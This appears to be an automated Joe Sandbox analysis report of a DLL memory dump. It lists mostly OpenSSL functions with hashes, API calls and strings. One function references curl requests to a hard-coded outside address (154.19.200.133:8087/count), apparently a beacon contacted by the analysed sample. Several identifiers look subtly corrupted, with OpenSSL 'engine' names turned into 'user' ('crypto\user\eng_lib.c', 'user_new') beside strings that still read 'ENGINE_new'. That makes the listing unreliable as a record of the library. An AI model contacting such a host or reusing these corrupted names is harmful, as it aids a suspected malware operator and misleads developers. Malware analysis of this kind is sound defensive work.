API String ID: 3906573944-1336405191
Opcode ID: 89cea41674613a623799003cf29138075fd9234c2a271c53a75eccb4e7ecdf87
Instruction ID: b9867633266996989891e6f90eefabfdfe2959fca5fdf23d8e9672a39da90440
Opcode Fuzzy Hash: 89cea41674613a623799003cf29138075fd9234c2a271c53a75eccb4e7ecdf87
Instruction Fuzzy Hash: AC217876900B029BD722CF55D845B0BB7E4FF907A0F10882EF8CD92651EB31A854DB92

Function 1005BA50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

ossl_obj_obj2nid, xrefs: 1005BAC6
crypto\objects\obj_dat.c, xrefs: 1005BAD0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: crypto\objects\obj_dat.c$ossl_obj_obj2nid
API String ID: 0-394383844
Opcode ID: 868b73c12bea388eb99f8265bc6b901d27167427aa238b06622ef90fd39e443f
Instruction ID: 41473eac14c9d28e7b822c83fc8c0130127a28c9bedebcc2618ba879ab83c51f
Opcode Fuzzy Hash: 868b73c12bea388eb99f8265bc6b901d27167427aa238b06622ef90fd39e443f
Instruction Fuzzy Hash: 4121AE79704204ABE600DB18EC86F6A73D4EB84741F858428F989DA291EB65F91CCE57

Function 100E3E00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100E3E43

Strings

UI_new_method, xrefs: 100E3E29
crypto\ui\ui_lib.c, xrefs: 100E3E03, 100E3E30, 100E3E4A, 100E3EB4

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: UI_new_method$crypto\ui\ui_lib.c
API String ID: 3906573944-11851397
Opcode ID: da68258b84c1b26e3e9ecf3db72bcff5fbaf686293cf9fb0743e0e61c1861722
Instruction ID: bbefc52d6efe00b149d6f5aa7ccdca89abb41d77570e8b6be24aa6f4a84a949f
Opcode Fuzzy Hash: da68258b84c1b26e3e9ecf3db72bcff5fbaf686293cf9fb0743e0e61c1861722
Instruction Fuzzy Hash: 22110139A8071239D230E6B6BD07F8B7BE4DF51B04F110425FA49B61C2EA90B85582E1

Function 1008D440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008D4F4

Part of subcall function 1008E690: __fprintf_l.LIBCMT ref: 1008E6EB

Strings

asn1_item_ex_d2i_intern, xrefs: 1008D4DA
crypto\asn1\tasn_dec.c, xrefs: 1008D4E1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: asn1_item_ex_d2i_intern$crypto\asn1\tasn_dec.c
API String ID: 3906573944-1696243170
Opcode ID: 93d90fb57defa219d9c6ef90d6cacb9b980c1b2fb35915a4429f1ef1a67737ac
Instruction ID: 731bd3cb322685357e1db5962ba66a5ed8b276830f127698d202aa441d8cb6a5
Opcode Fuzzy Hash: 93d90fb57defa219d9c6ef90d6cacb9b980c1b2fb35915a4429f1ef1a67737ac
Instruction Fuzzy Hash: 5511E435B04210AFE210DB698C83F5B77D4EFC8710F80050AF588D7181EAB8B9148696

Function 100BC310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100BC398

Strings

crypto\asn1\tasn_utl.c, xrefs: 100BC385
ossl_asn1_do_lock, xrefs: 100BC37E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\asn1\tasn_utl.c$ossl_asn1_do_lock
API String ID: 3906573944-1286639997
Opcode ID: 126a333173a6a866a2e51e081323d6a046119139b22953627e46d51f9fd84d3f
Instruction ID: f00535b15a9a841d08626d84486288ed99052715d3502ea82c189722e47a0139
Opcode Fuzzy Hash: 126a333173a6a866a2e51e081323d6a046119139b22953627e46d51f9fd84d3f
Instruction Fuzzy Hash: 4B11E13A6003125BC640DB6CFC00B9AB3D0EF42B74F664665F5A8DB2E1D322EC438781

Function 10060D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060DEB

Strings

crypto\provider_core.c, xrefs: 10060D16, 10060D93, 10060DD8
provider_new, xrefs: 10060D4D, 10060DCE

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$provider_new
API String ID: 3906573944-3257131825
Opcode ID: 2c4a0a0701279fa2d47e373e23ebbed358225183c5a0e9470d2402aefe09024b
Instruction ID: 313607ff6e8fdbc74c14e9644d4d53a53747f75548a0cb424989b326f960aef1
Opcode Fuzzy Hash: 2c4a0a0701279fa2d47e373e23ebbed358225183c5a0e9470d2402aefe09024b
Instruction Fuzzy Hash: 2211E77898570366F261EBF5BC22F9B37E1EF01780F014628F98DA6182FB64F50486D6

Function 1007CDD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CE0A

Strings

OSSL_DECODER_CTX_set_params, xrefs: 1007CDEE
crypto\encode_decode\decoder_meth.c, xrefs: 1007CDF8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_params$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-3186248450
Opcode ID: f6bd3289990bfe0de6f3fb5f5487030bb2c3ecaab54e8fbe63b713c8e18c7fb5
Instruction ID: f526a075d72b81d9664b019ef9f3216a2edea75431014c0bf12a35bb2f7b093a
Opcode Fuzzy Hash: f6bd3289990bfe0de6f3fb5f5487030bb2c3ecaab54e8fbe63b713c8e18c7fb5
Instruction Fuzzy Hash: 77114876601309ABEB00EA749C42F5B77D8EF813A4F01893CFD95D2141EA3DE954C6A6

Function 10068960 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100689DA

Strings

BIO_new_ex, xrefs: 100689C0
crypto\bio\bio_lib.c, xrefs: 10068963, 100689C7, 100689ED

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_new_ex$crypto\bio\bio_lib.c
API String ID: 3906573944-2037535946
Opcode ID: b2eff7b5050a7e37495f21a726a17113b5324e201a4e5b256e61ebf8a8b75cc0
Instruction ID: 4d730150981953ff46331feee010fbd8dbc2399d39e3da1f7f566d1149088c89
Opcode Fuzzy Hash: b2eff7b5050a7e37495f21a726a17113b5324e201a4e5b256e61ebf8a8b75cc0
Instruction Fuzzy Hash: 111155756403017AF320CA40BD43F8B76D8EF41798F010225FA48A5182E3E5FA9982E2

Function 101651D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 101653F0: __fprintf_l.LIBCMT ref: 1016542B

__fprintf_l.LIBCMT ref: 1016527C

Strings

crypto\pkcs12\p12_decr.c, xrefs: 1016526D, 10165289
PKCS12_item_decrypt_d2i_ex, xrefs: 10165263

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: PKCS12_item_decrypt_d2i_ex$crypto\pkcs12\p12_decr.c
API String ID: 3906573944-1562218764
Opcode ID: f298ae818ded3f059cac029e552c7f167881830a905065358cb2e0bd4a6e0ce9
Instruction ID: 0dc53e9048d4a21deda16ba8bb8b53ee10c28f46069246840a34b2b3b6fa65fc
Opcode Fuzzy Hash: f298ae818ded3f059cac029e552c7f167881830a905065358cb2e0bd4a6e0ce9
Instruction Fuzzy Hash: C5119039504301BFD7029B44EC02F8B7BE5FFC8789F44041CF588A5161E675A568DB67

Function 10060450 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10060485

Strings

crypto\provider_core.c, xrefs: 10060473
ossl_provider_test_operation_bit, xrefs: 10060469

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$ossl_provider_test_operation_bit
API String ID: 3906573944-1686514222
Opcode ID: b48015ab4dcc32e2df01f5e9c7b6c326916d2a8c46f82e2fbd60c208252b83cb
Instruction ID: b115a6a6212c45e428ef745f660b070f8e8c23a210a377304b2d96bf5b68efb4
Opcode Fuzzy Hash: b48015ab4dcc32e2df01f5e9c7b6c326916d2a8c46f82e2fbd60c208252b83cb
Instruction Fuzzy Hash: 8E01F1BA6403466BC210DA48FC81B9AB395FB5125AF100075FE0896242EB22F928D2A1

Function 100971C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10097242

Strings

crypto\evp\p_lib.c, xrefs: 100971C6, 1009722F, 10097254
EVP_PKEY_new, xrefs: 10097229

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_PKEY_new$crypto\evp\p_lib.c
API String ID: 3906573944-1414346654
Opcode ID: 1359a739954f969e7f4c24cf18e095cffde9e94e61065de02f9fb630f66edfee
Instruction ID: b787dda2b1736d988e6c5bce70d7ca1c05489b7ac8349f7b71efc5e5dfddcfa5
Opcode Fuzzy Hash: 1359a739954f969e7f4c24cf18e095cffde9e94e61065de02f9fb630f66edfee
Instruction Fuzzy Hash: 72012036601B5226E330EB65BC06F877AD4FF80B50F010525F94C566C3E7A1F4499E95

Function 100A4980 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A49EA

Strings

ENGINE_pkey_asn1_find_str, xrefs: 100A49CD
crypto\user\tb_asnmth.c, xrefs: 100A49D7

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_pkey_asn1_find_str$crypto\user\tb_asnmth.c
API String ID: 3906573944-703022254
Opcode ID: aa3d8672adf2329c19bd9c66b4a55c4277947fb1991ae09f07beb122e1b49dbb
Instruction ID: 667390a6a6f478112c9f8209ef430a1a473dd06f98bb1af5c0709ccbf3a54bd7
Opcode Fuzzy Hash: aa3d8672adf2329c19bd9c66b4a55c4277947fb1991ae09f07beb122e1b49dbb
Instruction Fuzzy Hash: BB1194789042029BD300DF18DC42B1B37E0FFD0350F458928F588CA262EB76E918DB97

Function 1005E890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E90F

Part of subcall function 10067340: ReleaseSRWLockExclusive.KERNEL32(?,1007AC0F,?,?,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067352

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

Strings

crypto\user\eng_init.c, xrefs: 1005E8FF
engine_unlocked_finish, xrefs: 1005E8F8

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease__fprintf_l
String ID: crypto\user\eng_init.c$user_unlocked_finish
API String ID: 752812576-3555295895
Opcode ID: 7d0615648ef36b791bcd0522b658c7bdfa2d25dbcbe53c04a0cdb8edc58b2160
Instruction ID: aa2d2460e05774e7688ac7134310b3dc817f664b8540a4ca0cb24066ff7b6302
Opcode Fuzzy Hash: 7d0615648ef36b791bcd0522b658c7bdfa2d25dbcbe53c04a0cdb8edc58b2160
Instruction Fuzzy Hash: 5401973AA0030263D654E328AC01B9A22C8EF82370F000421FA8CC22C1EF74FD09D693

Function 100A5340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5367

Strings

crypto\bio\bss_mem.c, xrefs: 100A5355
BIO_new_mem_buf, xrefs: 100A534E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_new_mem_buf$crypto\bio\bss_mem.c
API String ID: 3906573944-945146972
Opcode ID: 1de4a5801cd2153303f8be7f4f5ab9b4aa0efdef9d932fb9297e1a0ae839d750
Instruction ID: 1d0d877cc98391778bc25426781e4d0e669c81b237e2522ef86f895ca9216876
Opcode Fuzzy Hash: 1de4a5801cd2153303f8be7f4f5ab9b4aa0efdef9d932fb9297e1a0ae839d750
Instruction Fuzzy Hash: 03012B76A002518FD300CF58E801B86B7E1FFD5754F068289F9849B222D7B1A981CB81

Function 1007B500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B53D

Strings

ENGINE_new, xrefs: 1007B523
crypto\user\eng_lib.c, xrefs: 1007B52A, 1007B54B, 1007B57C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_new$crypto\user\eng_lib.c
API String ID: 3906573944-1041028136
Opcode ID: 138b52a855dab491bc8d472d8dd25e7ef93614d34695ed2868d798859da5ce0a
Instruction ID: 74fcb5d2cd271e7421ea9022f10f8244afe07497d4cedd4d4d2a21d19c746a7d
Opcode Fuzzy Hash: 138b52a855dab491bc8d472d8dd25e7ef93614d34695ed2868d798859da5ce0a
Instruction Fuzzy Hash: A7F06269A80B2636D520EA747C07FC72684EB42B58F000620FA4CE95C7FBA5B95C94A6

Function 1004B69A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 102495B0: AcquireSRWLockExclusive.KERNEL32(10347C0C,?,1004B6A7,00000003,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102495B6
Part of subcall function 102495B0: ReleaseSRWLockExclusive.KERNEL32(10347C0C,1004B6A7,00000003,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102495D1

Part of subcall function 102493A0: AcquireSRWLockExclusive.KERNEL32(10347C0C,00000003,1004B6AD,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102493A6
Part of subcall function 102493A0: ReleaseSRWLockExclusive.KERNEL32(10347C0C,?,?,?,1004E8B0,http://154.19.200.133:8087/count,102A6652), ref: 102493CA

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,1004E8B0), ref: 1004B6FC

Part of subcall function 10050BDE: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,?,1004B716,?,curl_easy_perform() failed: %s,1004E8B0), ref: 10050C05

Strings

curl_easy_perform() failed: %s, xrefs: 1004B709
curl_easy_perform() failed, xrefs: 1004B719

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$__acrt_iob_func__stdio_common_vfprintf
String ID: curl_easy_perform() failed$curl_easy_perform() failed: %s
API String ID: 395986030-2693453172
Opcode ID: 77e24a80a9d6786892d9813bb9945fbbf118ed43d9d6cd502339584d283ab388
Instruction ID: c4b16d97724c98828c49baa3f39c93c44ac13b0ee147444c945f0d0f3a1d085f
Opcode Fuzzy Hash: 77e24a80a9d6786892d9813bb9945fbbf118ed43d9d6cd502339584d283ab388
Instruction Fuzzy Hash: A7012939D00208FADB05EFA0DD0AA9DBF71EF04304F7040A5F504A41A2DB726A64EE45

Function 1007FE60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FEA3

Strings

crypto\dso\dso_lib.c, xrefs: 1007FE63, 1007FE90, 1007FEAA
DSO_new_method, xrefs: 1007FE89

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_new_method$crypto\dso\dso_lib.c
API String ID: 3906573944-2006609490
Opcode ID: f002d8cbc6ccd9f65d432fca364300a8aab02c232a9289f3c56e389cd1c47026
Instruction ID: 87a9166082a074c52288eceb0cba20f28c066ba6d799c344b44942950278d967
Opcode Fuzzy Hash: f002d8cbc6ccd9f65d432fca364300a8aab02c232a9289f3c56e389cd1c47026
Instruction Fuzzy Hash: 4E01A9B9A4062266E160E6B47C42FEBA5C4EF04740F018528F984E6283EB58FA5942D6

Function 1007D3B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D408

Strings

ossl_decoder_get_number, xrefs: 1007D3EC
crypto\encode_decode\decoder_meth.c, xrefs: 1007D3F6

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_meth.c$ossl_decoder_get_number
API String ID: 3906573944-2701826759
Opcode ID: abaa2a3293dc6c323dc4cde328328ff46411677e78c658251a06897b7647f48e
Instruction ID: 1d06097227ee164f98d077bcdaf4aa014ab83c44d2b74d86b2038f32574f8f33
Opcode Fuzzy Hash: abaa2a3293dc6c323dc4cde328328ff46411677e78c658251a06897b7647f48e
Instruction Fuzzy Hash: 29F02D3790026157C711EA94DC42F4F77E4FF84750F144816F988E7103D765BD1092A5

Function 100A6B80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A6C03

Strings

crypto\passphrase.c, xrefs: 100A6B99, 100A6BAE, 100A6BF0
ossl_pw_set_pem_password_cb, xrefs: 100A6BE9

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\passphrase.c$ossl_pw_set_pem_password_cb
API String ID: 3906573944-1095678657
Opcode ID: 6e2a7bd859faa8be4c3947cb1be7a248adf4dfb5f1256b88385acda2561b4880
Instruction ID: 0d055cee7b5513cdc7175bf4edd6321f1168358f0a7e47378051bb3f3e749255
Opcode Fuzzy Hash: 6e2a7bd859faa8be4c3947cb1be7a248adf4dfb5f1256b88385acda2561b4880
Instruction Fuzzy Hash: 5601F136940702ABC360DF58EC02FC7B6F0EF94B04F018A0AF19866192E3B1B8908651

Function 1008ADA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000002,00000002,00000000,00000000), ref: 1008ADB8
CertGetCertificateContextProperty.CRYPT32(?,00000002,00000000,?), ref: 1008ADEA

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

Part of subcall function 100894C0: GetLastError.KERNEL32(1008AE0B,00000000,00000070,users\e_capi.c,0000052A), ref: 100894D5

Strings

users\e_capi.c, xrefs: 1008ADC7, 1008ADF9, 1008AE10

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
